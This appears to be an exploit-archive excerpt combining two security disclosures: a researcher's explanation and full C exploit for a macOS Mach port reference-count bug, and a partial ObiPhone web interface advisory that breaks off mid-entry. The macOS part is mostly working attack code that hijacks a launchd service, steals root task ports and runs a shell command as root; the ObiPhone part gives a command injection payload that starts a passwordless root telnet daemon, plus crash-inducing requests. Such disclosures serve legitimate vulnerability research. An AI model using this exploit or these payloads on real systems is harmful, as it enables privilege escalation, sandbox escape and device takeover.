increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
name another right.

ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
message to another process.) Here's the code to handle the sending of a send right:

    case MACH_MSG_TYPE_PORT_SEND:
        assert(port->ip_srights > 0);
        
        if (bits & MACH_PORT_TYPE_SEND) {
            mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
            
            assert(port->ip_srights > 1);
            assert(urefs > 0);
            assert(urefs < MACH_PORT_UREFS_MAX);
            
            if (urefs+1 == MACH_PORT_UREFS_MAX) {
                if (overflow) {
                    /* leave urefs pegged to maximum */     <---- (1)
                    
                    port->ip_srights--;
                    ip_unlock(port);
                    ip_release(port);
                    return KERN_SUCCESS;
                }
                
                ip_unlock(port);
                return KERN_UREFS_OVERFLOW;
            }
            port->ip_srights--;
            ip_unlock(port);
            ip_release(port);
       
     ...     
        
        entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1;  <---- (2)
        ipc_entry_modified(space, name, entry);
        break;


If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.

The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.

The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.

In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
it has more urefs than that (by eg making the copyout's fail.)

What does this actually mean?

Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
destroys an ool_ports_descriptor_t:

    case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
      mach_port_t                 *ports;
      mach_msg_ool_ports_descriptor_t *dsc;
      mach_msg_type_number_t      j;

      /*
       * Destroy port rights carried in the message 
       */
      dsc = &saddr->ool_ports;
      ports = (mach_port_t *) dsc->address;
      for (j = 0; j < dsc->count; j++, ports++)  {
          mach_msg_destroy_port(*ports, dsc->disposition); // calls mach_port_deallocate
      }
    ...

This will call mach_port_deallocate for each ool_port name received.

If we send such a service a mach message with eg 0x20000 copies of the same port right as ool ports the ipc_entry for that name will actually only have
0xfffe urefs. After 0xfffe calls to mach_port_deallocate the urefs will hit 0 and the kernel will free the ipc_entry and mark that name as free. From this
point on the name can be re-used to name another right (for example by sending another message received on another thread) but the first thread will
still call mach_port_deallocate 0x10002 times on that name.

This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but
caused by a kernel bug.

** Doing something interesting **

Here's one example of how this bug could be used to elevate privileges/escape from sandboxes:

All processes have send rights to the bootstrap server (launchd). When they wish to lookup a service they send messages to this port.

Process A and B run as the same user; A is sandboxed, B isn't. B implements a mach service and A has looked up a send right to the service vended by
B via launchd.

Process A builds a mach message with 0x10000 ool send rights to the bootstrap server and sends this message to B. B receives the message inside mach_msg_server
(or a similar function.) When the kernel copies out this message to process B it sees that B already has a name for the boostrap port so increments the urefs count
for that name for each ool port in the message - there are 0x10000 of those but the urefs count stops incrementing at 0xfffe (but the copy outs still succeed and
process B sees 0x10000 copies of the same name in the received ool ports descriptor.)

Process B sees that the message doesn't match its MIG schema and passes it to mach_msg_destroy, which calls mach_port_deallocate 0x10000 times, destroying the rights
carried in the ool ports; since the bootstrap_port name only has 0xfffe urefs after the 0xfffe'th mach_port_deallocate this actually frees the boostrap_port's
name in process B meaning that it can be reused to name another port right. The important thing to notice here is that process B still believes that the name names
a send right to launchd (and it will just read the name from the bootstrap_port global variable.)

Process A can then allocate new mach port receive rights and send another message containing send rights to these new ports to process B and try to get the old name
reused to name one of these send rights - now when process B tries to communicate with launchd it will instead be communicating with process A.

Turning this into code execution outside of the sandbox would depend on what you could transativly do by impersonating launchd in such a fashion but it's surely possible.

Another approach with a more clear path to code execution would be to replace the IOKit master device port using the same technique - there's then a short path to getting
the target's task port if it tries to open a new IOKit user client since it will pass its task port to io_service_open_extended.

** poc **

This PoC just demonstrates the ability to cause the boostrap port name to be freed in another process - this should be proof enough that there's a very serious bug here.

Use a kernel debugger and showtaskrights to see that sharingd's name for the bootstrap port has been freed but that in userspace the bootstrap_port global is still the old name.

I will work on a full exploit but it's a non-trivial task! Please reach out to me ASAP if you require any futher information about the impact of this bug.

Tested on MacOS Sierra 10.12 (16A323)

################################################################################

Exploit attached :)

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

  if (index <  space->is_table_size) {
                entry = &space->is_table[index];
    if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
        IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
      entry = IE_NULL;    
  }

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.

I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.

Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)

The whole flow seems to work about 50% of the time.
*/

// ianbeer
// build: clang -o service_mitm service_mitm.c

#if 0
Exploit for the urefs saturation bug

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

	struct ipc_entry {
		struct ipc_object *ie_object;
		ipc_entry_bits_t ie_bits;
		mach_port_index_t ie_index;
		union {
			mach_port_index_t next;		/* next in freelist, or...  */
			ipc_table_index_t request;	/* dead name request notify */
		} index;
	};

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

	if (index <  space->is_table_size) {
                entry = &space->is_table[index];
		if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
		    IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
			entry = IE_NULL;		
	}

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.

I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.

Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)

The whole flow seems to work about 50% of the time.
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libproc.h>
#include <pthread.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

void run_command(mach_port_t target_task, char* command) {
  kern_return_t err;

  size_t command_length = strlen(command) + 1;
  size_t command_page_length = ((command_length + 0xfff) >> 12) << 12;
  command_page_length += 1; // for the stack

  // allocate some memory in the task
  mach_vm_address_t command_addr = 0;
  err = mach_vm_allocate(target_task,
                         &command_addr,
                         command_page_length,
                         VM_FLAGS_ANYWHERE);

  if (err != KERN_SUCCESS) {
    printf("mach_vm_allocate: %s\n", mach_error_string(err));
    return;
  }

  printf("allocated command at %llx\n", command_addr);
  uint64_t bin_bash = command_addr;
  uint64_t dash_c = command_addr + 0x10;
  uint64_t cmd = command_addr + 0x20;
  uint64_t argv = command_addr + 0x800;

  uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};

  err = mach_vm_write(target_task,
                      bin_bash,
                      (mach_vm_offset_t)"/bin/bash",
                      strlen("/bin/bash") + 1);

  err = mach_vm_write(target_task,
                      dash_c,
                      (mach_vm_offset_t)"-c",
                      strlen("-c") + 1);

  err = mach_vm_write(target_task,
                      cmd,
                      (mach_vm_offset_t)command,
                      strlen(command) + 1);

  err = mach_vm_write(target_task,
                      argv,
                      (mach_vm_offset_t)argv_contents,
                      sizeof(argv_contents));

  if (err != KERN_SUCCESS) {
    printf("mach_vm_write: %s\n", mach_error_string(err));
    return;
  }

  // create a new thread:
  mach_port_t new_thread = MACH_PORT_NULL;
  x86_thread_state64_t state;
  mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;

  memset(&state, 0, sizeof(state));

  // the minimal register state we require:
  state.__rip = (uint64_t)execve;
  state.__rdi = (uint64_t)bin_bash;
  state.__rsi = (uint64_t)argv;
  state.__rdx = (uint64_t)0;

  err = thread_create_running(target_task,
                              x86_THREAD_STATE64,
                              (thread_state_t)&state,
                              stateCount,
                              &new_thread);

  if (err != KERN_SUCCESS) {
    printf("thread_create_running: %s\n", mach_error_string(err));
    return;
  }

  printf("done?\n");
}


mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  if (service_port == MACH_PORT_NULL) {
    printf("bad service port\n");
    return MACH_PORT_NULL;
  }
  return service_port;
}

/*
host_service is the service which is hosting the port we want to free (eg the bootstrap port)
target_port is a send-right to the port we want to get free'd in the host service (eg another service port in launchd)
*/

struct ool_msg  {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_ports_descriptor_t ool_ports;
};

// this msgh_id is an XPC message
uint32_t msgh_id_to_get_destroyed = 0x10000000;

void do_free(mach_port_t host_service, mach_port_t target_port) {
  kern_return_t err;

  int port_count = 0x10000;
  mach_port_t* ports = malloc(port_count * sizeof(mach_port_t));
  for (int i = 0; i < port_count; i++) {
    ports[i] = target_port;
  }

  // build the message to free the target port name
  struct ool_msg* free_msg = malloc(sizeof(struct ool_msg));
  memset(free_msg, 0, sizeof(struct ool_msg));

  free_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  free_msg->hdr.msgh_size = sizeof(struct ool_msg);
  free_msg->hdr.msgh_remote_port = host_service;
  free_msg->hdr.msgh_local_port = MACH_PORT_NULL;
  free_msg->hdr.msgh_id = msgh_id_to_get_destroyed;

  free_msg->body.msgh_descriptor_count = 1;
  
  free_msg->ool_ports.address = ports;
  free_msg->ool_ports.count = port_count;
  free_msg->ool_ports.deallocate = 0;
  free_msg->ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
  free_msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
  free_msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

  // send the free message
  err = mach_msg(&free_msg->hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct ool_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("free message: %s\n", mach_error_string(err));
}

void send_looper(mach_port_t service, mach_port_t* ports, uint32_t n_ports, int disposition) {
  kern_return_t err;
  struct ool_msg msg = {0};
  msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_remote_port = service;
  msg.hdr.msgh_local_port = MACH_PORT_NULL;
  msg.hdr.msgh_id = msgh_id_to_get_destroyed;

  msg.body.msgh_descriptor_count = 1;

  msg.ool_ports.address = (void*)ports;
  msg.ool_ports.count = n_ports;
  msg.ool_ports.disposition = disposition;
  msg.ool_ports.deallocate = 0;
  msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

  err = mach_msg(&msg.hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct ool_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  printf("sending looper: %s\n", mach_error_string(err));

  // need to wait a little bit since we don't send a reply port and don't want to fill the queue
  usleep(100);
}

mach_port_right_t right_fixup(mach_port_right_t in) {
  switch (in) {
    case MACH_MSG_TYPE_PORT_SEND:
      return MACH_MSG_TYPE_MOVE_SEND;
    case MACH_MSG_TYPE_PORT_SEND_ONCE:
      return MACH_MSG_TYPE_MOVE_SEND_ONCE;
    case MACH_MSG_TYPE_PORT_RECEIVE:
      return MACH_MSG_TYPE_MOVE_RECEIVE;
    default:
      return 0; // no rights
  }
}

int ran_command = 0;

void inspect_port(mach_port_t port) {
  pid_t pid = 0;
  pid_for_task(port, &pid);
  if (pid != 0) {
    printf("got task port for pid: %d\n", pid);
  }
	// find the uid
  int proc_err;
  struct proc_bsdshortinfo info = {0};
  proc_err = proc_pidinfo(pid, PROC_PIDT_SHORTBSDINFO, 0, &info, sizeof(info));
  if (proc_err <= 0) {
    // fail
    printf("proc_pidinfo failed\n");
    return;
  }

	if (info.pbsi_uid == 0) {
		printf("got r00t!! ******************\n");
    printf("(via task port for: %s)\n", info.pbsi_comm);
	  if (!ran_command) {
      run_command(port, "echo hello > /tmp/hello_from_root");
      ran_command = 1;
    }
  }

  return;
}

/*
implements the mitm
replacer_portset contains receive rights for all the ports we send to launchd
to replace the real service port

real_service_port is a send-right to the actual service

receive messages on replacer_portset, inspect them, then fix them up and send them along
to the real service
*/
void do_service_mitm(mach_port_t real_service_port, mach_port_t replacer_portset) {
  size_t max_request_size = 0x10000;	
	mach_msg_header_t* request = malloc(max_request_size);

  for(;;) {
    memset(request, 0, max_request_size);
    kern_return_t err = mach_msg(request,
                                 MACH_RCV_MSG | 
                                 MACH_RCV_LARGE, // leave larger messages in the queue
                                 0,
                                 max_request_size,
                                 replacer_portset,
                                 0,
                                 0);

    if (err == MACH_RCV_TOO_LARGE) {
      // bump up the buffer size
      mach_msg_size_t new_size = request->msgh_size + 0x1000;
      request = realloc(request, new_size);
      // try to receive again
      continue;
    }

    if (err != KERN_SUCCESS) {
      printf("error receiving on port set: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }

    printf("got a request, fixing it up...\n");

    // fix up the message such that it can be forwarded:

    // get the rights we were sent for each port the header
    mach_port_right_t remote = MACH_MSGH_BITS_REMOTE(request->msgh_bits);
    mach_port_right_t voucher = MACH_MSGH_BITS_VOUCHER(request->msgh_bits);
   
    // fixup the header ports:
    // swap the remote port we received into the local port we'll forward
    // this means we're only mitm'ing in one direction - we could also
    // intercept these replies if necessary
    request->msgh_local_port = request->msgh_remote_port;
    request->msgh_remote_port = real_service_port;
    // voucher port stays the same

    int is_complex = MACH_MSGH_BITS_IS_COMPLEX(request->msgh_bits);
    
    // (remote, local, voucher)
    request->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, right_fixup(remote), right_fixup(voucher));

    if (is_complex) {
      request->msgh_bits |= MACH_MSGH_BITS_COMPLEX;

      // if it's complex we also need to fixup all the descriptors...
      mach_msg_body_t* body = (mach_msg_body_t*)(request+1);
      mach_msg_type_descriptor_t* desc = (mach_msg_type_descriptor_t*)(body+1);
      for (mach_msg_size_t i = 0; i < body->msgh_descriptor_count; i++) {
        switch (desc->type) {
          case MACH_MSG_PORT_DESCRIPTOR: {
            mach_msg_port_descriptor_t* port_desc = (mach_msg_port_descriptor_t*)desc;
            inspect_port(port_desc->name);
            port_desc->disposition = right_fixup(port_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(port_desc+1);
            break;
          }
          case MACH_MSG_OOL_DESCRIPTOR: {
            mach_msg_ool_descriptor_t* ool_desc = (mach_msg_ool_descriptor_t*)desc;
            // make sure that deallocate is true; we don't want to keep this memory:
            ool_desc->deallocate = 1;
            desc = (mach_msg_type_descriptor_t*)(ool_desc+1);
            break;
          }
          case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
          case MACH_MSG_OOL_PORTS_DESCRIPTOR: {
            mach_msg_ool_ports_descriptor_t* ool_ports_desc = (mach_msg_ool_ports_descriptor_t*)desc;
            // make sure that deallocate is true:
            ool_ports_desc->deallocate = 1;
            ool_ports_desc->disposition = right_fixup(ool_ports_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(ool_ports_desc+1);
            break;
          }
        }
      }

    }

    printf("fixed up request, forwarding it\n");

    // forward the message:
    err = mach_msg(request,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   request->msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);

    if (err != KERN_SUCCESS) {
      printf("error forwarding service message: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }
	
}

void lookup_and_ping_service(char* name) {
  mach_port_t service_port = lookup(name);
  if (service_port == MACH_PORT_NULL) {
    printf("failed too lookup %s\n", name);
    return;
  }
  // send a ping message to make sure the service actually gets launched:
  kern_return_t err;
  mach_msg_header_t basic_msg;

  basic_msg.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  basic_msg.msgh_size        = sizeof(basic_msg);
  basic_msg.msgh_remote_port = service_port;
  basic_msg.msgh_local_port  = MACH_PORT_NULL;
  basic_msg.msgh_reserved    = 0;
  basic_msg.msgh_id          = 0x41414141;

  err = mach_msg(&basic_msg,
                 MACH_SEND_MSG,
                 sizeof(basic_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  if (err != KERN_SUCCESS) {
    printf("failed to send ping message to service %s (err: %s)\n", name, mach_error_string(err));
    return;
  }

  printf("pinged %s\n", name);
}

void* do_lookups(void* arg) {
  lookup_and_ping_service("com.apple.storeaccountd");
  lookup_and_ping_service("com.apple.hidfud");
  lookup_and_ping_service("com.apple.netauth.sys.gui");
  lookup_and_ping_service("com.apple.netauth.user.gui");
  lookup_and_ping_service("com.apple.avbdeviced");
  return NULL;
}

void start_root_lookups_thread() {
  pthread_t thread;
  pthread_create(&thread, NULL, do_lookups, NULL);
}

char* default_target_service_name = "com.apple.CoreServices.coreservicesd";

int main(int argc, char** argv) {
  char* target_service_name = default_target_service_name;
  if (argc > 1) {
    target_service_name = argv[1];
  }

	// allocate the receive rights which we will try to replace the service with:
	// (we'll also use them to loop the mach port name in the target)
	size_t n_ports = 0x1000;
  mach_port_t* ports = calloc(sizeof(void*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to allocate port: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
		err = mach_port_insert_right(mach_task_self(),
							 ports[i],
							 ports[i],
							 MACH_MSG_TYPE_MAKE_SEND);
    if (err != KERN_SUCCESS) {
      printf("failed to insert send right: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }

	// generate some service names we can use:
	char** names = calloc(sizeof(char*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    char name[64];
    sprintf(name, "replacer.%d", i);
    names[i] = strdup(name);
  }

  // lookup a send right to the target to be replaced
  mach_port_t target_service = lookup(target_service_name);

  // free the target in launchd
  do_free(bootstrap_port, target_service);

  // send one smaller looper message to push the free'd name down the free list:
  send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);

  // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
  for (int i = 0; i < 62; i++) {
    send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
  }

	// now that the name should have looped round (and still be near the middle of the freelist
  // try to replace it by registering a lot of new services
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to register service %d, continuing anyway...\n", i);
    }
  }

  // add all those receive rights to a port set:
  mach_port_t ps;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps);
  for (int i = 0; i < n_ports; i++) {
    mach_port_move_member(mach_task_self(), ports[i], ps);
  }

  start_root_lookups_thread();

	do_service_mitm(target_service, ps);
  return 0;
}
            
ObiHai ObiPhone - Multiple Vulnerabilities
------------------------------------------

Introduction
============
Multiple vulnerabilities were discovered in the web management
interface of the ObiHai ObiPhone products.  The Vulnerabilities were
discovered during a black box security assessment and therefore the
vulnerability list should not be considered exhaustive.

Affected Devices and Versions
=============================
ObiPhone 1032/1062 with firmware less than 5-0-0-3497.

Vulnerability Overview
======================
Obi-1. Memory corruption leading to free() of an attacker-controlled address
Obi-2. Command injection in WiFi Config
Obi-3. Denial of Service due to buffer overflow
Obi-4. Buffer overflow in internal socket handler
Obi-5. Cross-site request forgery
Obi-6. Failure to implement RFC 2617 correctly
Obi-7. Invalid pointer dereference due to invalid header
Obi-8. Null pointer dereference due to malicious URL
Obi-9. Denial of service due to invalid content-length

Vulnerability Details
=====================

----------------------------------------------------------------------------
Obi-1. Memory corruption leading to free() of an attacker-controlled address
----------------------------------------------------------------------------

By providing a long URI (longer than 256 bytes) not containing a slash in a
request, a pointer is overwritten which is later passed to free().  By
controlling the location of the pointer, this would allow an attacker to affect
control flow and gain control of the application.  Note that the free() seems to
occur during cleanup of the request, as a 404 is returned to the user before the
segmentation fault.

  python -c 'print "GET " + "A"*257 + " HTTP/1.1\nHost: foo"' | nc IP 80

  (gdb) bt
  #0  0x479d8b18 in free () from root/lib/libc.so.6
  #1  0x00135f20 in ?? ()
  (gdb) x/5i $pc
  => 0x479d8b18 <free+48>:        ldr     r3, [r0, #-4]
    0x479d8b1c <free+52>:        sub     r5, r0, #8
    0x479d8b20 <free+56>:        tst     r3, #2
    0x479d8b24 <free+60>:        bne     0x479d8bec <free+260>
    0x479d8b28 <free+64>:        tst     r3, #4
  (gdb) i r r0
  r0             0x41     65

---------------------------------------
Obi-2. Command injection in WiFi Config
---------------------------------------

An authenticated user (including the lower-privileged "user" user) can enter a
hidden network name similar to "$(/usr/sbin/telnetd &)", which starts the telnet
daemon.

  GET /wifi?checkssid=$(/usr/sbin/telnetd%20&) HTTP/1.1
  Host: foo
  Authorization: [omitted]

Note that telnetd is now running and accessible via user "root" with no
password.

-----------------------------------------------
Obi-3. Denial of Service due to buffer overflow
-----------------------------------------------

By providing a long URI (longer than 256 bytes) beginning with a slash, memory
is overwritten beyond the end of mapped memory, leading to a crash.  Though no
exploitable behavior was observed, it is believed that memory containing
information relevant to the request or control flow is likely overwritten in the
process.  strcpy() appears to write past the end of the stack for the current
thread, but it does not appear that there are saved link registers on the stack
for the devices under test.

  python -c 'print "GET /" + "A"*256 + " HTTP/1.1\nHost: foo"' | nc IP 80

  (gdb) bt
  #0  0x479dc440 in strcpy () from root/lib/libc.so.6
  #1  0x001361c0 in ?? ()
  Backtrace stopped: previous frame identical to this frame (corrupt stack?)
  (gdb) x/5i $pc
  => 0x479dc440 <strcpy+16>:      strb    r3, [r1, r2]
    0x479dc444 <strcpy+20>:      bne     0x479dc438 <strcpy+8>
    0x479dc448 <strcpy+24>:      bx      lr
    0x479dc44c <strcspn>:        push    {r4, r5, r6, lr}
    0x479dc450 <strcspn+4>:      ldrb    r3, [r0]
  (gdb) i r r1 r2
  r1             0xb434df01       3023363841
  r2             0xff     255
  (gdb) p/x $r1+$r2
  $1 = 0xb434e000

-------------------------------------------------
Obi-4. Buffer overflow in internal socket handler
-------------------------------------------------

Commands to be executed by realtime backend process `obid` are sent
via Unix domain sockets from obiapp.
In formatting the message for the Unix socket, a new string is constructed on
the stack.  This string can overflow the static buffer, leading to control of
program flow.  The only vectors leading to this code that were discovered during
the assessment were authenticated, however unauthenticated code paths may exist.
Note that the example command can be executed as the lower-privileged "user"
user.

  GET /wifi?checkssid=[A*1024] HTTP/1.1
  Host: foo
  Authorization: [omitted]

  (gdb)
  #0  0x41414140 in ?? ()
  #1  0x0006dc78 in ?? ()

---------------------------------
Obi-5. Cross-site request forgery
---------------------------------

All portions of the web interface appear to lack any protection against
Cross-Site Request Forgery.  Combined with the command injection vector in
ObiPhone-3, this would allow a remote attacker to execute arbitrary shell
commands on the phone, provided the current browser session was logged-in to the
phone.

----------------------------------------------
Obi-6. Failure to implement RFC 2617 correctly
----------------------------------------------

RFC 2617 specifies HTTP digest authentication, but is not correctly implemented
on the ObiPhone.  The HTTP digest authentication fails to comply in the
following ways:

- The URI is not validated
- The application does not verify that the nonce received is the one it sent
- The application does not verify that the nc value does not repeat or go
  backwards

  GET / HTTP/1.1
  Host: foo
  Authorization: Digest username="admin", realm="a", nonce="a", uri="/",
  algorithm=MD5, response="309091eb609a937358a848ff817b231c",
opaque="", qop=auth,
  nc=00000001, cnonce="a"
  Connection: close

  HTTP/1.1 200 OK
  Server: OBi110
  Cache-Control:must-revalidate, no-store, no-cache
  Content-Type: text/html
  Content-Length: 1108
  Connection: close

Please note that the realm, nonce, cnonce, and nc values have all been chosen
and the response generated offline.

--------------------------------------------------------
Obi-7. Invalid pointer dereference due to invalid header
--------------------------------------------------------

Sending an invalid HTTP Authorization header, such as
"Authorization: foo", causes the program to attempt to read from an invalid
memory address, leading to a segmentation fault and reboot of the device.  This
requires no authentication, only access to the network to which the device is
connected.

  GET / HTTP/1.1
  Host: foo
  Authorization: foo

This causes the server to dereference the address 0xFFFFFFFF, presumably
returned as a -1 error code.

  (gdb) bt
  #0  0x479dc438 in strcpy () from root/lib/libc.so.6
  #1  0x00134ae0 in ?? ()
  (gdb) x/5i $pc
  => 0x479dc438 <strcpy+8>:       ldrb    r3, [r1, #1]!
    0x479dc43c <strcpy+12>:      cmp     r3, #0
    0x479dc440 <strcpy+16>:      strb    r3, [r1, r2]
    0x479dc444 <strcpy+20>:      bne     0x479dc438 <strcpy+8>
    0x479dc448 <strcpy+24>:      bx      lr
  (gdb) i r r1
  r1             0xffffffff       4294967295

----------------------------------------------------
Obi-8. Null pointer dereference due to malicious URL
----------------------------------------------------

If the /obihai-xml handler is requested without any trailing slash or component,
this leads to a null pointer dereference, crash, and subsequent reboot of the
phone.  This requires no authentication, only access to the network to which the
device is connected.

  GET /obihai-xml HTTP/1.1
  Host: foo

  (gdb) bt
  #0  0x479dc7f4 in strlen () from root/lib/libc.so.6
  Backtrace stopped: Cannot access memory at address 0x8f6
  (gdb) info frame
  Stack level 0, frame at 0xbef1aa50:
  pc = 0x479dc7f4 in strlen; saved pc = 0x171830
